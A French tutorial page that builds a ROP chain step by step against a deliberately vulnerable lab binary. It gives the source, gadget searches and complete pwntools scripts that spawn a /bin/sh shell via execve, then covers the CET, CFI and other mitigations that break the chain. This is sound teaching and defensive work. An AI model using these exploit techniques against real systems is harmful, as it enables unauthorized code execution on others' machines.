Aller au contenu

Construire une chaîne ROP pas à pas

Avec NX, le shellcode injecté est mort : on réutilise le code existant. Trouver des gadgets, bâtir une chaîne execve avec pwntools, puis voir CET et CFI la casser.

Publié le 7 min de lecture

Ceci est le deuxième tutoriel de l'espace Techniques d'exploitation. Le guide précédent détournait une adresse de retour sauvegardée et sautait vers une fonction win() commode, NX restant sans importance parce que nous sautions vers du code existant. Ici il n'y a pas de win(), et nous ne pouvons pas injecter notre propre code parce que NX est activé. La réponse, c'est la programmation orientée retour : assembler des fragments du code déjà présent dans le binaire pour faire ce que nous voulons.

Comme précédemment, nous construisons la cible nous-mêmes et l'exécutons dans un labo jetable. Relisez les règles du labo si vous les avez sautées.

Pourquoi NX force la réutilisation de code

NX / DEP marque la mémoire inscriptible — la pile, le tas — comme non exécutable. Écraser l'adresse de retour avec un pointeur vers votre entrée échoue désormais instantanément : la page contenant vos octets n'a pas la permission d'exécution, donc le CPU provoque une faute sur la première instruction.

ROP n'exécute jamais les octets de l'attaquant. Chaque valeur que nous plaçons sur la pile est soit un pointeur vers du code exécutable qui existe déjà, soit des données que ces instructions consomment. NX ne peut rien y faire, parce que du point de vue du CPU nous n'exécutons jamais que du code légitimement mappé et exécutable.

Ce qu'est un gadget

Un gadget est une courte séquence d'instructions se terminant par ret. ret dépile les 8 octets suivants de la pile vers le pointeur d'instruction et saute dessus. Donc si nous disposons une pile ainsi :

La pile que le CPU parcourt quand vuln() retourne
  1. pop rdi ; retle ret saute ici en premier
    ◀ rsp
  2. &"/bin/sh"dépilé dans rdi
  3. pop rsi ; retson ret saute ici ensuite
  4. 0dépilé dans rsi
  5. syscalldéclenche execve("/bin/sh", 0, 0)
gadgetpointervalue

le ret final de chaque gadget lance le suivant. Enchaînés, ils peuvent charger tous les registres d'arguments et déclencher un appel système. Notre objectif est le classique : execve("/bin/sh", NULL, NULL).

Sur Linux x86-64, la convention System V passe les arguments d'appel système dans rax (numéro), rdi, rsi, rdx. Pour execve, c'est :

RegistreValeurSignification
rax59numéro d'appel système de execve
rdipointeur vers "/bin/sh"pathname
rsi0argv (NULL)
rdx0envp (NULL)

La cible

/* vuln.c — démo délibérément vulnérable. Compiler en statique, NX activé, canari désactivé. */
#include <stdio.h>
#include <unistd.h>

void vuln(void) {
    char buf[64];
    read(0, buf, 512);        /* le bug : 512 octets dans un tampon de 64 octets */
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
    return 0;
}

Compilez-le en statique pour que le binaire contienne un grand ensemble fixe de gadgets et sa propre copie de la chaîne "/bin/sh" — cela garde le tutoriel autonome et toutes les adresses stables :

gcc -static -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c

checksec confirme que NX est la défense en jeu :

$ checksec --file=./vuln
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled          ← voilà pourquoi il nous faut ROP
PIE:      No PIE (0x400000)

Étape 1 — trouver l'offset

Même méthode de motif cyclique que dans le guide ret2win :

from pwn import *
context.binary = ELF("./vuln")
io = process("./vuln")
io.send(cyclic(200))
io.wait()
print("offset:", cyclic_find(io.corefile.read(io.corefile.rsp, 8)))
# offset: 72

72 octets remplissent buf (64) plus rbp sauvegardé (8) ; à partir de l'octet 72 se trouve l'adresse de retour, c'est-à-dire le début de notre chaîne.

Étape 2 — chasser les gadgets

ROPgadget (ou l'objet ROP de pwntools) liste les séquences que contient le binaire :

$ ROPgadget --binary vuln | grep -E ': pop rdi ; ret$'
0x0000000000401f6f : pop rdi ; ret
$ ROPgadget --binary vuln | grep -E ': pop rsi ; ret$'
0x000000000040a44e : pop rsi ; ret
$ ROPgadget --binary vuln | grep -E ': pop rax ; ret$'
0x0000000000450507 : pop rax ; ret
$ ROPgadget --binary vuln | grep -E ': syscall ; ret$'
0x0000000000402424 : syscall ; ret

pop rdx seul manque souvent ; on le trouve généralement apparié, par exemple pop rdx ; pop rbx ; ret. Ce n'est pas grave — fournissez une valeur jetable pour rbx. Et la chaîne "/bin/sh" réside dans la glibc statique :

$ ROPgadget --binary vuln --string '/bin/sh'
0x00000000004a5a2f : /bin/sh

Si votre binaire n'a pas la chaîne, écrivez-la vous-même : trouvez un gadget mov qword ptr [rXX], rYY ; ret, pointez un registre vers une adresse .bss inscriptible, chargez "/bin/sh\0" dans un autre, et stockez-le — puis utilisez cette adresse .bss comme rdi. pwntools automatise aussi cela (ci-dessous).

Étape 3 — assembler la chaîne à la main

Nous disposons maintenant les gadgets et leurs opérandes sur la pile dans l'ordre :

# rop_manual.py
from pwn import *

context.binary = elf = ELF("./vuln")

pop_rdi     = 0x401f6f
pop_rsi     = 0x40a44e
pop_rdx_rbx = 0x4XXXXX          # depuis : ROPgadget | grep 'pop rdx ; pop rbx ; ret'
pop_rax     = 0x450507
syscall     = 0x402424
binsh       = next(elf.search(b"/bin/sh\x00"))   # pwntools trouve la chaîne

chain  = b""
chain += p64(pop_rdi) + p64(binsh)       # rdi = "/bin/sh"
chain += p64(pop_rsi) + p64(0)           # rsi = 0
chain += p64(pop_rdx_rbx) + p64(0) + p64(0)  # rdx = 0 (rbx = 0 jetable)
chain += p64(pop_rax) + p64(59)          # rax = 59 (execve)
chain += p64(syscall)                    # execve("/bin/sh", 0, 0)

payload = b"A" * 72 + chain

io = process("./vuln")
io.send(payload)
io.interactive()
$ python3 rop_manual.py
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab) groups=1000(lab)

Le ret à la fin de vuln a sauté vers pop rdi ; ret ; son ret a sauté vers pop rsi ; ret ; et ainsi de suite le long de la chaîne jusqu'à ce que syscall exécute execve. Pas un seul octet de notre entrée n'a été exécuté en tant que code — seulement consommé en tant qu'adresses et données.

Alignement de la pile, encore

Si syscall (ou une fonction de la libc que vous appelez) provoque une faute, c'est le même problème d'alignement sur 16 octets vu dans le guide ret2win. Insérez un gadget ret nu en tête de chaîne pour décaler la pile de 8.

Étape 4 — laisser pwntools la construire

L'assemblage à la main enseigne le mécanisme ; en pratique, l'objet ROP de pwntools trouve les gadgets et dispose la chaîne (y compris l'écriture de "/bin/sh" dans .bss au besoin) :

from pwn import *
context.binary = elf = ELF("./vuln")

rop = ROP(elf)
rop.execve(next(elf.search(b"/bin/sh\x00")), 0, 0)
log.info(rop.dump())                 # affiche la chaîne résolue
payload = flat({72: rop.chain()})

io = process("./vuln"); io.send(payload); io.interactive()

Comprendre la version manuelle est ce qui vous permet de la déboguer quand la version automatique ne trouve pas un gadget dont elle a besoin.

Étape 5 — activer les mitigations qui arrêtent ROP

C'est la moitié défensive. NX a fait son travail — il a arrêté l'injection de code — mais pas la réutilisation de code. Les mitigations visant ROP s'attaquent aux retours eux-mêmes.

Pile fantôme / Intel CET

gcc -static -fno-stack-protector -no-pie -fcf-protection=full -O0 -o vuln_cet vuln.c

Sur du matériel et des noyaux compatibles CET, une pile fantôme conserve une seconde copie protégée de chaque adresse de retour. À chaque ret, le CPU compare la pile normale à la pile fantôme ; notre chaîne a écrasé la normale, donc le premier ret vers un gadget provoque une divergence et le processus est tué. Le suivi des branchements indirects de CET exige en plus que les cibles valides d'appel/saut commencent par une instruction endbr64 — les gadgets au milieu des fonctions ne le font pas, ils deviennent donc des cibles indirectes invalides.

Intégrité du flot de contrôle

clang -fsanitize=cfi -flto -fvisibility=hidden -static -o vuln_cfi vuln.c

L'intégrité du flot de contrôle contraint les branchements indirects à un ensemble de cibles légitimes calculé par le compilateur. Le CFI de bord avant n'arrête pas à lui seul les écrasements d'adresse de retour, ce qui explique pourquoi il est associé à une pile fantôme pour le bord arrière — ensemble ils ferment les deux directions dont ROP dépend.

Et celles qui ne font qu'augmenter le coût

MitigationEffet sur cette chaîne ROP
Canari de pileDétecte l'écrasement linéaire avant le premier ret — la chaîne ne démarre jamais
PIE + ASLRLes adresses des gadgets sont aléatoires à chaque exécution ; la chaîne a besoin d'une fuite d'abord
Full RELROFerme la voie d'écrasement de la GOT (le guide suivant)
Pile fantôme / CETBord arrière : une adresse de retour divergente interrompt le processus
CFIBord avant : les branchements indirects sont restreints à des cibles valides

Ce que cela enseigne à un défenseur

  • NX est nécessaire mais pas suffisant. Il a mis fin à l'injection de shellcode, et les attaquants ont répondu avec ROP. Lire une ligne checksec comme « NX : activé, donc sûr » est l'erreur que ce tutoriel existe pour corriger.
  • Les défenses qui ciblent réellement ROP sont les protections de bord arrière — piles fantômes / CET, et retours signés par PAC sur ARM. Si vous livrez du code natif, activer -fcf-protection (et compiler pour des cibles compatibles pile fantôme) est la réponse la plus directe à cette technique.
  • Les gadgets sont une propriété de tout votre binaire, y compris les bibliothèques statiques. Des binaires plus petits, moins liés statiquement, en exposent moins. C'est une raison réelle, quoique secondaire, de préférer des compilations épurées.
  • Rien de tout cela ne corrige le bug read(0, buf, 512). Cela décide seulement si le bug se termine par un crash ou un shell. La correction — borner la lecture — se trouve dans les débordements de tampon de pile.

Points clés à retenir

  • ROP déjoue NX en n'exécutant que du code déjà mappé comme exécutable, piloté par des adresses de retour placées sur la pile.
  • Un gadget est une courte séquence d'instructions se terminant par ret ; des gadgets enchaînés peuvent charger les registres d'arguments et déclencher un appel système.
  • L'objectif classique est execve("/bin/sh", 0, 0) : mettre rax=59, rdi=&"/bin/sh", rsi=rdx=0, puis syscall.
  • Les piles fantômes / CET et le CFI sont les mitigations conçues spécifiquement pour casser ROP ; le canari, PIE et RELRO en augmentent le coût à d'autres étapes.

Suite dans cette série : réutiliser directement la libc avec ret2libc, et transformer un bug de chaîne de format en lecture et écriture arbitraires.

Guides associés

0x7000 · Techniques d'exploitation

ret2csu : emprunter le gadget universel du runtime

Pas de gadget pop rdx ? Le code de démarrage du runtime C a une séquence universelle qui charge plusieurs registres et fait un appel contrôlé. Construisez-la avec pwntools.

0x7000 · Techniques d'exploitation

Stack pivoting : relocaliser la chaîne ROP

Quand le débordement dépasse à peine l'adresse de retour, déplacez rsp vers un tampon maîtrisé et exécutez-y la vraie chaîne. Tutoriel pwntools.